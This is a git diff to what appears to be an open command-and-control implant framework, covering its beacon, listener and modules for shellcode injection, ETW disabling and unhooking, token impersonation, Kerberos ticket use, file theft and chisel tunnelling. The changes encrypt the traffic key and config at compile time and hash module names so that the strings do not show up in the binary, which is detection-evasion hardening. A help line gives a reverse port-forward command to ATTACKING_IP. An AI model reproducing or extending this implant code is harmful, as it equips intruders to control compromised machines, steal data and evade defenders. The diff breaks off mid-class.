diff --git a/beacon/Beacon.cpp b/beacon/Beacon.cpp index 0e0505b..a3d12b7 100644 --- a/beacon/Beacon.cpp +++ b/beacon/Beacon.cpp @@ -14,6 +14,13 @@ #include #include +// #include "../modules/Upload/Upload.hpp" +// #include "../modules/Download/Download.hpp" +// #include "../modules/PrintWorkingDirectory/PrintWorkingDirectory.hpp" +// #include "../modules/ChangeDirectory/ChangeDirectory.hpp" +// #include "../modules/ListDirectory/ListDirectory.hpp" +// #include "../modules/ListProcesses/ListProcesses.hpp" + #define INFO_BUFFER_SIZE 32767 #define ENV_VAR_STRING_COUNT (sizeof(envVarStrings)/sizeof(TCHAR*)) @@ -26,6 +33,14 @@ typedef ModuleCmd* (*constructProc)(); using namespace std; +// XOR encrypted at compile time, so don't appear in string +constexpr std::string_view _KeyTraficEncryption_ = "dfsdgferhzdzxczevre5595485sdg"; +constexpr std::string_view mainKeyConfig = ".CRT$XCL"; + +// compile time encryption +constexpr std::array _EncryptedKeyTraficEncryption_ = compileTimeXOR<29, 8>(_KeyTraficEncryption_, mainKeyConfig); + + #ifdef __linux__ #elif _WIN32 @@ -97,23 +112,23 @@ Beacon::Beacon(const std::string& ip, int port) // TODO at some point chose which module are directly included , could be this list: -// std::unique_ptr upload = std::make_unique(); -// m_moduleCmd.push_back(std::move(upload)); + // std::unique_ptr upload = std::make_unique(); + // m_moduleCmd.push_back(std::move(upload)); -// std::unique_ptr download = std::make_unique(); -// m_moduleCmd.push_back(std::move(download)); + // std::unique_ptr download = std::make_unique(); + // m_moduleCmd.push_back(std::move(download)); -// std::unique_ptr printWorkingDirectory = std::make_unique(); -// m_moduleCmd.push_back(std::move(printWorkingDirectory)); + // std::unique_ptr printWorkingDirectory = std::make_unique(); + // m_moduleCmd.push_back(std::move(printWorkingDirectory)); -// std::unique_ptr changeDirectory = std::make_unique(); -// m_moduleCmd.push_back(std::move(changeDirectory)); + // std::unique_ptr changeDirectory = std::make_unique(); + // m_moduleCmd.push_back(std::move(changeDirectory)); -// std::unique_ptr listDirectory = std::make_unique(); -// m_moduleCmd.push_back(std::move(listDirectory)); + // std::unique_ptr listDirectory = std::make_unique(); + // m_moduleCmd.push_back(std::move(listDirectory)); -// std::unique_ptr listProcesses = std::make_unique(); -// m_moduleCmd.push_back(std::move(listProcesses)); + // std::unique_ptr listProcesses = std::make_unique(); + // m_moduleCmd.push_back(std::move(listProcesses)); #ifdef __linux__ @@ -230,8 +245,12 @@ Beacon::Beacon(const std::string& ip, int port) m_privilege = "HIGH"; #endif - // TODO put as a param comming from conf - m_key="dfsdgferhzdzxczevre5595485sdg"; + // decrypt key + std::string keyDecrypted(std::begin(_EncryptedKeyTraficEncryption_), std::end(_EncryptedKeyTraficEncryption_)); + std::string key(mainKeyConfig); + XOR(keyDecrypted, key); + + m_key=keyDecrypted; } @@ -584,7 +603,8 @@ bool Beacon::execInstruction(C2Message& c2Message, C2Message& c2RetMessage) m_moduleCmd.push_back(std::move(moduleCmd_)); std::string msg = "Module loaded successfully:\n"; - msg += m_moduleCmd.back()->getInfo(); + msg += inputfile; + // msg += m_moduleCmd.back()->getInfo(); c2RetMessage.set_returnvalue(msg); #endif @@ -594,10 +614,17 @@ bool Beacon::execInstruction(C2Message& c2Message, C2Message& c2RetMessage) #ifdef __linux__ #elif _WIN32 std::string moduleName = c2Message.cmd(); + unsigned long moduleHash = djb2(moduleName); std::vector>::iterator object = find_if(m_moduleCmd.begin(), m_moduleCmd.end(), - [&](unique_ptr & obj){ return obj->getName() == moduleName;} + [&](unique_ptr & obj) + { + if(obj->getName().empty()) + return obj->getHash() == moduleHash; + else + return obj->getName() == moduleName; + } ); std::string msg = "module not found"; @@ -616,10 +643,12 @@ bool Beacon::execInstruction(C2Message& c2Message, C2Message& c2RetMessage) // Command to be executed by a loaded module else { + unsigned long moduleHash = djb2(instruction); + bool isModuleFound=false; for(auto it = m_moduleCmd.begin() ; it != m_moduleCmd.end(); ++it ) { - if (instruction == (*it)->getName()) + if (instruction == (*it)->getName() || moduleHash == (*it)->getHash()) { (*it)->process(c2Message, c2RetMessage); isModuleFound=true; diff --git a/beacon/BeaconHttp.cpp b/beacon/BeaconHttp.cpp index edc5620..bda2678 100644 --- a/beacon/BeaconHttp.cpp +++ b/beacon/BeaconHttp.cpp @@ -18,9 +18,9 @@ using namespace std; -// TODO encypte with a beacon key -std::string _BeaconHttpConfig_ = R"({ - "xorKey": "dfsdgferhzdzxczevre5595485sdg", +// XOR encrypted at compile time, so don't appear in string +// size of the config contained between () must be set in the compileTimeXOR template function +constexpr std::string_view _BeaconHttpConfig_ = R"({ "ListenerHttpConfig": [ { "uri": [ @@ -113,6 +113,11 @@ std::string _BeaconHttpConfig_ = R"({ ] })"; +constexpr std::string_view keyConfig = ".CRT$XCL"; + +// compile time encryption of http configuration +constexpr std::array _EncryptedBeaconHttpConfig_ = compileTimeXOR<3564, 8>(_BeaconHttpConfig_, keyConfig); + #ifdef __linux__ @@ -415,15 +420,19 @@ BeaconHttp::BeaconHttp(std::string& ip, int port, bool isHttps) { srand(time(NULL)); - m_beaconHttpConfig = nlohmann::json::parse(_BeaconHttpConfig_); + // decrypt HttpConfig + std::string configDecrypt(std::begin(_EncryptedBeaconHttpConfig_), std::end(_EncryptedBeaconHttpConfig_)); + std::string key(keyConfig); + XOR(configDecrypt, key); - const std::string charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; - std::random_device rd; - std::mt19937 generator(rd()); - std::uniform_int_distribution distribution(0, charset.size() - 1); + m_beaconHttpConfig = nlohmann::json::parse(configDecrypt); - for(int i=0; i<_BeaconHttpConfig_.size(); i++) - _BeaconHttpConfig_[i]=charset[distribution(generator)]; + // const std::string charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; + // std::random_device rd; + // std::mt19937 generator(rd()); + // std::uniform_int_distribution distribution(0, charset.size() - 1); + // for(int i=0; i<_BeaconHttpConfig_.size(); i++) + // _BeaconHttpConfig_[i]=charset[distribution(generator)]; } diff --git a/listener/Listener.cpp b/listener/Listener.cpp index 1961e49..59b0637 100644 --- a/listener/Listener.cpp +++ b/listener/Listener.cpp @@ -12,6 +12,14 @@ using namespace std; +// XOR encrypted at compile time, so don't appear in string +constexpr std::string_view _KeyTraficEncryption_ = "dfsdgferhzdzxczevre5595485sdg"; +constexpr std::string_view mainKeyConfig = ".CRT$XCL"; + +// compile time encryption +constexpr std::array _EncryptedKeyTraficEncryption_ = compileTimeXOR<29, 8>(_KeyTraficEncryption_, mainKeyConfig); + + Listener::Listener(const std::string& param1, const std::string& param2, const std::string& type) { m_param1 = param1; @@ -47,9 +55,13 @@ Listener::Listener(const std::string& param1, const std::string& param2, const s m_hostname = infoBuf; #endif - // TODO put as a param comming from conf - m_key="dfsdgferhzdzxczevre5595485sdg"; + // TODO take from config ??? + // decrypt key + std::string keyDecrypted(std::begin(_EncryptedKeyTraficEncryption_), std::end(_EncryptedKeyTraficEncryption_)); + std::string key(mainKeyConfig); + XOR(keyDecrypted, key); + m_key=keyDecrypted; } diff --git a/modules/AssemblyExec/AssemblyExec.cpp b/modules/AssemblyExec/AssemblyExec.cpp index a907423..92140cd 100644 --- a/modules/AssemblyExec/AssemblyExec.cpp +++ b/modules/AssemblyExec/AssemblyExec.cpp @@ -4,6 +4,8 @@ #include #include #include + +#include "Common.hpp" #include "Tools.hpp" #ifdef __linux__ @@ -26,8 +28,13 @@ const int maxDurationShellCode=120; using namespace std; -const std::string moduleName = "assemblyExec"; +// Compute hash of moduleName at compile time, so the moduleName string don't show in the binary +constexpr std::string_view moduleName = "assemblyExec"; +constexpr unsigned long moduleHash = djb2(moduleName); + +#ifdef BUILD_TEAMSERVER const std::string ToolsDirectoryFromTeamServer = "../Tools/"; +#endif #ifdef _WIN32 @@ -40,7 +47,11 @@ __declspec(dllexport) AssemblyExec* A_AssemblyExecConstructor() #endif AssemblyExec::AssemblyExec() - : ModuleCmd(moduleName) +#ifdef BUILD_TEAMSERVER + : ModuleCmd(std::string(moduleName), moduleHash) +#else + : ModuleCmd("", moduleHash) +#endif { } @@ -295,11 +306,10 @@ int AssemblyExec::process(C2Message &c2Message, C2Message &c2RetMessage) #endif - - c2RetMessage.set_instruction(m_name); + c2RetMessage.set_instruction(c2RetMessage.instruction()); c2RetMessage.set_cmd(c2Message.cmd()); c2RetMessage.set_returnvalue(result); - + return 0; } diff --git a/modules/AssemblyExec/CMakeLists.txt b/modules/AssemblyExec/CMakeLists.txt index 4ee93fe..5d764b3 100644 --- a/modules/AssemblyExec/CMakeLists.txt +++ b/modules/AssemblyExec/CMakeLists.txt @@ -1,6 +1,11 @@ include_directories(../) add_library(AssemblyExec SHARED AssemblyExec.cpp) -target_link_libraries(AssemblyExec ${Donut}) +if(WITH_TESTS) + message(STATUS "[+] AssemblyExec Tests are enable.") + target_link_libraries(AssemblyExec ${Donut}) +else() + message(STATUS "[-] AssemblyExec Tests are disable.") +endif() add_custom_command(TARGET AssemblyExec POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy $ "${CMAKE_SOURCE_DIR}/Release/Modules/$") diff --git a/modules/Cat/Cat.cpp b/modules/Cat/Cat.cpp index 3f5773e..8f2565d 100644 --- a/modules/Cat/Cat.cpp +++ b/modules/Cat/Cat.cpp @@ -1,12 +1,15 @@ #include "Cat.hpp" +#include "Common.hpp" + #include using namespace std; -const std::string moduleName = "cat"; - +// Compute hash of moduleName at compile time, so the moduleName string don't show in the binary +constexpr std::string_view moduleName = "cat"; +constexpr unsigned long moduleHash = djb2(moduleName); #ifdef _WIN32 @@ -18,7 +21,11 @@ __declspec(dllexport) Cat* CatConstructor() #endif Cat::Cat() - : ModuleCmd(moduleName) +#ifdef BUILD_TEAMSERVER + : ModuleCmd(std::string(moduleName), moduleHash) +#else + : ModuleCmd("", moduleHash) +#endif { } @@ -29,16 +36,18 @@ Cat::~Cat() std::string Cat::getInfo() { std::string info; +#ifdef BUILD_TEAMSERVER info += "cat:\n"; info += "Cat a file from victime machine\n"; info += "exemple:\n"; info += "- cat c:\\temp\\toto.exe\n"; - +#endif return info; } int Cat::init(std::vector &splitedCmd, C2Message &c2Message) { +#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) if (splitedCmd.size() >= 2 ) { string inputFile; @@ -57,14 +66,14 @@ int Cat::init(std::vector &splitedCmd, C2Message &c2Message) c2Message.set_returnvalue(getInfo()); return -1; } - +#endif return 0; } int Cat::process(C2Message &c2Message, C2Message &c2RetMessage) { - c2RetMessage.set_instruction(m_name); + c2RetMessage.set_instruction(c2RetMessage.instruction()); c2RetMessage.set_cmd(c2Message.inputfile()); c2RetMessage.set_inputfile(c2Message.inputfile()); diff --git a/modules/ChangeDirectory/ChangeDirectory.cpp b/modules/ChangeDirectory/ChangeDirectory.cpp index c9fab8a..d6f6b6f 100644 --- a/modules/ChangeDirectory/ChangeDirectory.cpp +++ b/modules/ChangeDirectory/ChangeDirectory.cpp @@ -1,5 +1,7 @@ #include "ChangeDirectory.hpp" +#include "Common.hpp" + #include #include #include @@ -7,7 +9,8 @@ using namespace std; -const std::string moduleName = "cd"; +constexpr std::string_view moduleName = "cd"; +constexpr unsigned long moduleHash = djb2(moduleName); #ifdef _WIN32 @@ -20,7 +23,11 @@ __declspec(dllexport) ChangeDirectory* ChangeDirectoryConstructor() #endif ChangeDirectory::ChangeDirectory() - : ModuleCmd(moduleName) +#ifdef BUILD_TEAMSERVER + : ModuleCmd(std::string(moduleName), moduleHash) +#else + : ModuleCmd("", moduleHash) +#endif { } @@ -31,16 +38,18 @@ ChangeDirectory::~ChangeDirectory() std::string ChangeDirectory::getInfo() { std::string info; +#ifdef BUILD_TEAMSERVER info += "cd:\n"; info += "ChangeDirectory\n"; info += "exemple:\n"; info += "- cd /tmp\n"; - +#endif return info; } int ChangeDirectory::init(std::vector &splitedCmd, C2Message &c2Message) { +#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) string path; for (int idx = 1; idx < splitedCmd.size(); idx++) { @@ -51,7 +60,7 @@ int ChangeDirectory::init(std::vector &splitedCmd, C2Message &c2Mes c2Message.set_instruction(splitedCmd[0]); c2Message.set_cmd(path); - +#endif return 0; } @@ -61,7 +70,7 @@ int ChangeDirectory::process(C2Message &c2Message, C2Message &c2RetMessage) string path = c2Message.cmd(); std::string outCmd = changeDirectory(path); - c2RetMessage.set_instruction(m_name); + c2RetMessage.set_instruction(c2RetMessage.instruction()); c2RetMessage.set_cmd(path); c2RetMessage.set_returnvalue(outCmd); diff --git a/modules/Chisel/CMakeLists.txt b/modules/Chisel/CMakeLists.txt index d55e35f..6c443c7 100644 --- a/modules/Chisel/CMakeLists.txt +++ b/modules/Chisel/CMakeLists.txt @@ -1,6 +1,11 @@ include_directories(../) add_library(Chisel SHARED Chisel.cpp) -target_link_libraries(Chisel ${Donut}) +if(WITH_TESTS) + message(STATUS "[+] Chisel Tests are enable.") + target_link_libraries(Chisel ${Donut}) +else() + message(STATUS "[-] Chisel Tests are disable.") +endif() add_custom_command(TARGET Chisel POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy $ "${CMAKE_SOURCE_DIR}/Release/Modules/$") diff --git a/modules/Chisel/Chisel.cpp b/modules/Chisel/Chisel.cpp index 7e63f21..91f1332 100644 --- a/modules/Chisel/Chisel.cpp +++ b/modules/Chisel/Chisel.cpp @@ -1,13 +1,18 @@ #include "Chisel.hpp" #include -#include "Tools.hpp" +#include "Common.hpp" +#include "Tools.hpp" using namespace std; -const std::string moduleName = "chisel"; +constexpr std::string_view moduleName = "chisel"; +constexpr unsigned long moduleHash = djb2(moduleName); + +#ifdef BUILD_TEAMSERVER const std::string ToolsDirectoryFromTeamServer = "../Tools/"; +#endif #define BUFSIZE 512 @@ -22,7 +27,11 @@ __declspec(dllexport) Chisel* A_ChiselConstructor() #endif Chisel::Chisel() - : ModuleCmd(moduleName) +#ifdef BUILD_TEAMSERVER + : ModuleCmd(std::string(moduleName), moduleHash) +#else + : ModuleCmd("", moduleHash) +#endif { } @@ -33,6 +42,7 @@ Chisel::~Chisel() std::string Chisel::getInfo() { std::string info; +#ifdef BUILD_TEAMSERVER info += "Chisel:\n"; info += "Launch chisel in a thread on the remote server.\n"; info += "No output is provided.\n"; @@ -45,12 +55,13 @@ std::string Chisel::getInfo() info += "Remote Port Forward:\n"; info += "- chisel /tools/chisel.exe client ATTACKING_IP:LISTEN_PORT R:LOCAL_PORT:TARGET_IP:REMOT_PORT\n"; info += "- On the attacking machine: chisel server -p LISTEN_PORT --reverse\n"; - +#endif return info; } int Chisel::init(std::vector &splitedCmd, C2Message &c2Message) { +#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) if (splitedCmd.size() == 2) { if(splitedCmd[1]=="status") @@ -157,7 +168,7 @@ int Chisel::init(std::vector &splitedCmd, C2Message &c2Message) c2Message.set_returnvalue(getInfo()); return -1; } - +#endif return 0; } @@ -178,7 +189,7 @@ int Chisel::process(C2Message &c2Message, C2Message &c2RetMessage) HANDLE hProc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid); TerminateProcess(hProc,9); - c2RetMessage.set_instruction(m_name); + c2RetMessage.set_instruction(c2RetMessage.instruction()); c2RetMessage.set_pid(pid); c2RetMessage.set_cmd("stop"); @@ -217,7 +228,7 @@ int Chisel::process(C2Message &c2Message, C2Message &c2RetMessage) #endif - c2RetMessage.set_instruction(m_name); + c2RetMessage.set_instruction(c2RetMessage.instruction()); c2RetMessage.set_pid(pid); c2RetMessage.set_cmd(c2Message.cmd()); c2RetMessage.set_returnvalue(result); diff --git a/modules/CoffLoader/CoffLoader.cpp b/modules/CoffLoader/CoffLoader.cpp index 2434744..ba0f534 100644 --- a/modules/CoffLoader/CoffLoader.cpp +++ b/modules/CoffLoader/CoffLoader.cpp @@ -22,7 +22,8 @@ extern "C" using namespace std; -const std::string moduleName = "coffLoader"; +constexpr std::string_view moduleName = "coffLoader"; +constexpr unsigned long moduleHash = djb2(moduleName); #ifdef _WIN32 @@ -35,7 +36,11 @@ __declspec(dllexport) CoffLoader* A_CoffLoaderConstructor() #endif CoffLoader::CoffLoader() - : ModuleCmd(moduleName) +#ifdef BUILD_TEAMSERVER + : ModuleCmd(std::string(moduleName), moduleHash) +#else + : ModuleCmd("", moduleHash) +#endif { } @@ -46,13 +51,14 @@ CoffLoader::~CoffLoader() std::string CoffLoader::getInfo() { std::string info; +#ifdef BUILD_TEAMSERVER info += "coffLoader:\n"; info += "Load a .o coff file and execute it.\n"; info += "Coff take packed argument as entry, you get to specify the type as a string of [Z,z,s,i] for wstring, string, short, int.\n"; info += "exemple:\n"; info += "- coffLoader ./dir.x64.o go Zs c:\\ 0\n"; info += "- coffLoader ./whoami.x64.o\n"; - +#endif return info; } @@ -115,7 +121,7 @@ int CoffLoader::process(C2Message &c2Message, C2Message &c2RetMessage) std::string result = coffLoader(payload, functionName, args); - c2RetMessage.set_instruction(m_name); + c2RetMessage.set_instruction(c2RetMessage.instruction()); c2RetMessage.set_returnvalue(result); return 0; diff --git a/modules/Download/Download.cpp b/modules/Download/Download.cpp index b97e1a3..03424e2 100644 --- a/modules/Download/Download.cpp +++ b/modules/Download/Download.cpp @@ -2,10 +2,14 @@ #include +#include "Common.hpp" + + using namespace std; -const std::string moduleName = "download"; +constexpr std::string_view moduleName = "download"; +constexpr unsigned long moduleHash = djb2(moduleName); #ifdef _WIN32 @@ -18,7 +22,11 @@ __declspec(dllexport) Download* DownloadConstructor() #endif Download::Download() - : ModuleCmd(moduleName) +#ifdef BUILD_TEAMSERVER + : ModuleCmd(std::string(moduleName), moduleHash) +#else + : ModuleCmd("", moduleHash) +#endif { } @@ -29,11 +37,12 @@ Download::~Download() std::string Download::getInfo() { std::string info; +#ifdef BUILD_TEAMSERVER info += "download:\n"; info += "Download a file from victime machine to the attacker machine\n"; info += "exemple:\n"; info += "- download c:\\temp\\toto.exe c:\\temp\\toto.exe\n"; - +#endif return info; } @@ -60,7 +69,7 @@ int Download::init(std::vector &splitedCmd, C2Message &c2Message) int Download::process(C2Message &c2Message, C2Message &c2RetMessage) { - c2RetMessage.set_instruction(m_name); + c2RetMessage.set_instruction(c2RetMessage.instruction()); c2RetMessage.set_cmd(""); c2RetMessage.set_inputfile(c2Message.inputfile()); c2RetMessage.set_outputfile(c2Message.outputfile()); diff --git a/modules/Evasion/Evasion.cpp b/modules/Evasion/Evasion.cpp index c13dd6f..77a32a5 100644 --- a/modules/Evasion/Evasion.cpp +++ b/modules/Evasion/Evasion.cpp @@ -11,10 +11,13 @@ #include "structs.hpp" #endif +#include "Common.hpp" + using namespace std; -const std::string moduleName = "evasion"; +constexpr std::string_view moduleName = "evasion"; +constexpr unsigned long moduleHash = djb2(moduleName); #ifdef _WIN32 @@ -34,7 +37,11 @@ int disableETW(void); Evasion::Evasion() - : ModuleCmd(moduleName) +#ifdef BUILD_TEAMSERVER + : ModuleCmd(std::string(moduleName), moduleHash) +#else + : ModuleCmd("", moduleHash) +#endif { } @@ -45,14 +52,14 @@ Evasion::~Evasion() std::string Evasion::getInfo() { std::string info; +#ifdef BUILD_TEAMSERVER info += "evasion:\n"; - info += "exemple:\n"; info += "- evasion CheckHooks (ntdll, kernelbase, kernel32)\n"; info += "- evasion DisableETW\n"; info += "- evasion Unhook (ntdll, kernelbase, kernel32)\n"; info += "- evasion UnhookPerunsFart (ntdll)\n"; - +#endif return info; } @@ -101,7 +108,7 @@ int Evasion::process(C2Message &c2Message, C2Message &c2RetMessage) #endif - c2RetMessage.set_instruction(m_name); + c2RetMessage.set_instruction(c2RetMessage.instruction()); c2RetMessage.set_cmd(""); c2RetMessage.set_returnvalue(result); diff --git a/modules/Inject/CMakeLists.txt b/modules/Inject/CMakeLists.txt index 5743de4..b44e77a 100644 --- a/modules/Inject/CMakeLists.txt +++ b/modules/Inject/CMakeLists.txt @@ -1,6 +1,11 @@ include_directories(../) add_library(Inject SHARED Inject.cpp) -target_link_libraries(Inject ${Donut}) +if(WITH_TESTS) + message(STATUS "[+] Inject Tests are enable.") + target_link_libraries(Inject ${Donut}) +else() + message(STATUS "[-] Inject Tests are disable.") +endif() add_custom_command(TARGET Inject POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy $ "${CMAKE_SOURCE_DIR}/Release/Modules/$") diff --git a/modules/Inject/Inject.cpp b/modules/Inject/Inject.cpp index 5c220fa..695332d 100644 --- a/modules/Inject/Inject.cpp +++ b/modules/Inject/Inject.cpp @@ -1,15 +1,20 @@ #include "Inject.hpp" #include + +#include "Common.hpp" #include "Tools.hpp" using namespace std; -const std::string moduleName = "inject"; +constexpr std::string_view moduleName = "inject"; +constexpr unsigned long moduleHash = djb2(moduleName); + +#ifdef BUILD_TEAMSERVER const std::string ToolsDirectoryFromTeamServer = "../Tools/"; const std::string BeaconsDirectoryFromTeamServer = "../Beacons/"; - +#endif #ifdef _WIN32 @@ -24,7 +29,11 @@ __declspec(dllexport) Inject* A_InjectConstructor() #endif Inject::Inject() - : ModuleCmd(moduleName) +#ifdef BUILD_TEAMSERVER + : ModuleCmd(std::string(moduleName), moduleHash) +#else + : ModuleCmd("", moduleHash) +#endif { } @@ -35,6 +44,7 @@ Inject::~Inject() std::string Inject::getInfo() { std::string info; +#ifdef BUILD_TEAMSERVER info += "inject:\n"; info += "Inject shellcode in the pid process. For linux must be root or at least have ptrace capability.\n"; info += "No output is provided.\n"; @@ -45,12 +55,13 @@ std::string Inject::getInfo() info += "- inject -r ./calc.bin 2568\n"; info += "- inject -e ./beacon.exe pid arg1 arg2\n"; info += "- inject -d ./calc.dll pid method arg1 arg2\n"; - +#endif return info; } int Inject::init(std::vector &splitedCmd, C2Message &c2Message) { +#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) if (splitedCmd.size() >= 4) { bool donut=false; @@ -177,7 +188,7 @@ int Inject::init(std::vector &splitedCmd, C2Message &c2Message) c2Message.set_returnvalue(getInfo()); return -1; } - +#endif return 0; } @@ -336,7 +347,7 @@ int Inject::process(C2Message &c2Message, C2Message &c2RetMessage) // nt creat thread ex // bcp d autre - c2RetMessage.set_instruction(m_name); + c2RetMessage.set_instruction(c2RetMessage.instruction()); c2RetMessage.set_cmd(c2Message.cmd()); c2RetMessage.set_returnvalue(result); diff --git a/modules/KerberosUseTicket/KerberosUseTicket.cpp b/modules/KerberosUseTicket/KerberosUseTicket.cpp index 7b2b0d4..f33cb56 100644 --- a/modules/KerberosUseTicket/KerberosUseTicket.cpp +++ b/modules/KerberosUseTicket/KerberosUseTicket.cpp @@ -2,6 +2,7 @@ #include +#include "Common.hpp" #include "Tools.hpp" #ifdef __linux__ @@ -31,8 +32,8 @@ typedef std::vector TicketData; #endif -// TODO set kerberosUseTicket -const std::string moduleName = "kerberosUseTicket"; +constexpr std::string_view moduleName = "kerberosUseTicket"; +constexpr unsigned long moduleHash = djb2(moduleName); #ifdef _WIN32 @@ -46,7 +47,11 @@ __declspec(dllexport) KerberosUseTicket* KerberosUseTicketConstructor() KerberosUseTicket::KerberosUseTicket() - : ModuleCmd(moduleName) +#ifdef BUILD_TEAMSERVER + : ModuleCmd(std::string(moduleName), moduleHash) +#else + : ModuleCmd("", moduleHash) +#endif { } @@ -57,11 +62,12 @@ KerberosUseTicket::~KerberosUseTicket() std::string KerberosUseTicket::getInfo() { std::string info; +#ifdef BUILD_TEAMSERVER info += "KerberosUseTicket:\n"; info += "Import a kerberos ticket from a file to the curent LUID. \n"; info += "exemple:\n"; info += "- KerberosUseTicket /tmp/ticket.kirbi\n"; - +#endif return info; } @@ -103,7 +109,7 @@ int KerberosUseTicket::process(C2Message &c2Message, C2Message &c2RetMessage) std::string out = importTicket(buffer); - c2RetMessage.set_instruction(m_name); + c2RetMessage.set_instruction(c2RetMessage.instruction()); c2RetMessage.set_cmd(cmd); c2RetMessage.set_returnvalue(out); return 0; diff --git a/modules/ListDirectory/ListDirectory.cpp b/modules/ListDirectory/ListDirectory.cpp index b3a34af..24a8eb1 100644 --- a/modules/ListDirectory/ListDirectory.cpp +++ b/modules/ListDirectory/ListDirectory.cpp @@ -5,10 +5,13 @@ #include #include +#include "Common.hpp" + + using namespace std; - -const std::string moduleName = "ls"; +constexpr std::string_view moduleName = "ls"; +constexpr unsigned long moduleHash = djb2(moduleName); #ifdef _WIN32 @@ -21,7 +24,11 @@ __declspec(dllexport) ListDirectory* ListDirectoryConstructor() #endif ListDirectory::ListDirectory() - : ModuleCmd(moduleName) +#ifdef BUILD_TEAMSERVER + : ModuleCmd(std::string(moduleName), moduleHash) +#else + : ModuleCmd("", moduleHash) +#endif { } @@ -32,11 +39,12 @@ ListDirectory::~ListDirectory() std::string ListDirectory::getInfo() { std::string info; +#ifdef BUILD_TEAMSERVER info += "ls:\n"; info += "ListDirectory\n"; info += "exemple:\n"; info += "- ls /tmp\n"; - +#endif return info; } @@ -61,7 +69,7 @@ int ListDirectory::process(C2Message &c2Message, C2Message &c2RetMessage) string path = c2Message.cmd(); std::string outCmd = listDirectory(path); - c2RetMessage.set_instruction(m_name); + c2RetMessage.set_instruction(c2RetMessage.instruction()); c2RetMessage.set_cmd(path); c2RetMessage.set_returnvalue(outCmd); diff --git a/modules/ListProcesses/ListProcesses.cpp b/modules/ListProcesses/ListProcesses.cpp index 3c7ae19..62db862 100644 --- a/modules/ListProcesses/ListProcesses.cpp +++ b/modules/ListProcesses/ListProcesses.cpp @@ -33,6 +33,9 @@ #endif +#include "Common.hpp" + + using namespace std; @@ -258,9 +261,8 @@ std::string GetProcess() #endif - -const std::string moduleName = "ps"; - +constexpr std::string_view moduleName = "ps"; +constexpr unsigned long moduleHash = djb2(moduleName); #ifdef _WIN32 @@ -272,7 +274,11 @@ __declspec(dllexport) ListProcesses* ListProcessesConstructor() #endif ListProcesses::ListProcesses() - : ModuleCmd(moduleName) +#ifdef BUILD_TEAMSERVER + : ModuleCmd(std::string(moduleName), moduleHash) +#else + : ModuleCmd("", moduleHash) +#endif { } @@ -283,11 +289,12 @@ ListProcesses::~ListProcesses() std::string ListProcesses::getInfo() { std::string info; +#ifdef BUILD_TEAMSERVER info += "ps:\n"; info += "ListProcesses\n"; info += "exemple:\n"; info += "- ps\n"; - +#endif return info; } @@ -303,7 +310,7 @@ int ListProcesses::process(C2Message &c2Message, C2Message &c2RetMessage) { std::string outCmd = listProcesses(); - c2RetMessage.set_instruction(m_name); + c2RetMessage.set_instruction(c2RetMessage.instruction()); c2RetMessage.set_cmd(""); c2RetMessage.set_returnvalue(outCmd); diff --git a/modules/MakeToken/MakeToken.cpp b/modules/MakeToken/MakeToken.cpp index 802bfcf..9740870 100644 --- a/modules/MakeToken/MakeToken.cpp +++ b/modules/MakeToken/MakeToken.cpp @@ -11,6 +11,9 @@ #include #endif +#include "Common.hpp" + + using namespace std; #ifdef __linux__ @@ -19,7 +22,8 @@ using namespace std; #endif -const std::string moduleName = "makeToken"; +constexpr std::string_view moduleName = "makeToken"; +constexpr unsigned long moduleHash = djb2(moduleName); #ifdef _WIN32 @@ -32,7 +36,11 @@ __declspec(dllexport) MakeToken* MakeTokenConstructor() #endif MakeToken::MakeToken() - : ModuleCmd(moduleName) +#ifdef BUILD_TEAMSERVER + : ModuleCmd(std::string(moduleName), moduleHash) +#else + : ModuleCmd("", moduleHash) +#endif { } @@ -43,11 +51,12 @@ MakeToken::~MakeToken() std::string MakeToken::getInfo() { std::string info; +#ifdef BUILD_TEAMSERVER info += "makeToken:\n"; info += "Create a token from user and password and impersonate it. \n"; info += "exemple:\n"; info += "- makeToken DOMAIN\\Username Password\n"; - +#endif return info; } @@ -81,7 +90,7 @@ int MakeToken::init(std::vector &splitedCmd, C2Message &c2Message) cmd += ";"; cmd += password; - c2Message.set_instruction(m_name); + c2Message.set_instruction(splitedCmd[0]); c2Message.set_cmd(cmd); #ifdef __linux__ @@ -107,7 +116,7 @@ int MakeToken::process(C2Message &c2Message, C2Message &c2RetMessage) std::string out = makeToken(username, domain, password); - c2RetMessage.set_instruction(m_name); + c2RetMessage.set_instruction(c2RetMessage.instruction()); c2RetMessage.set_cmd(cmd); c2RetMessage.set_returnvalue(out); return 0; diff --git a/modules/ModuleCmd/Common.hpp b/modules/ModuleCmd/Common.hpp index b0ce628..95b1576 100644 --- a/modules/ModuleCmd/Common.hpp +++ b/modules/ModuleCmd/Common.hpp @@ -3,6 +3,7 @@ #include #include #include +#include #undef DEBUG_BUILD @@ -18,6 +19,31 @@ const int SizeListenerHash = 32; const int SizeBeaconHash = 32; +constexpr unsigned long djb2(std::string_view str, unsigned long hash = 5381, std::size_t index = 0) +{ + return (index == str.size()) ? hash : djb2(str, ((hash << 5) + hash) + str[index], index + 1); +} + +template +inline constexpr std::array compileTimeXOR(const std::string_view data, const std::string_view key) +{ + std::array result{}; + std::size_t key_size = key.size(); + std::size_t j = 0; + + for (std::size_t i = 0; i < data.size(); ++i) { + if (j == key_size) { + j = 0; + } + + result[i] = data[i] ^ key[j]; + ++j; + } + + return result; +} + + void static inline XOR(std::string& data, const std::string& key) { int j = 0; diff --git a/modules/ModuleCmd/ModuleCmd.hpp b/modules/ModuleCmd/ModuleCmd.hpp index f50b234..11961af 100644 --- a/modules/ModuleCmd/ModuleCmd.hpp +++ b/modules/ModuleCmd/ModuleCmd.hpp @@ -545,9 +545,10 @@ class ModuleCmd { public: - ModuleCmd(const std::string& name) + ModuleCmd(const std::string& name, unsigned long hash=0) { m_name=name; + m_hash=hash; } ~ModuleCmd() @@ -560,6 +561,11 @@ public: return m_name; } + unsigned long getHash() + { + return m_hash; + } + virtual std::string getInfo() = 0; // if an error ocurre: @@ -570,6 +576,7 @@ public: protected: std::string m_name; + 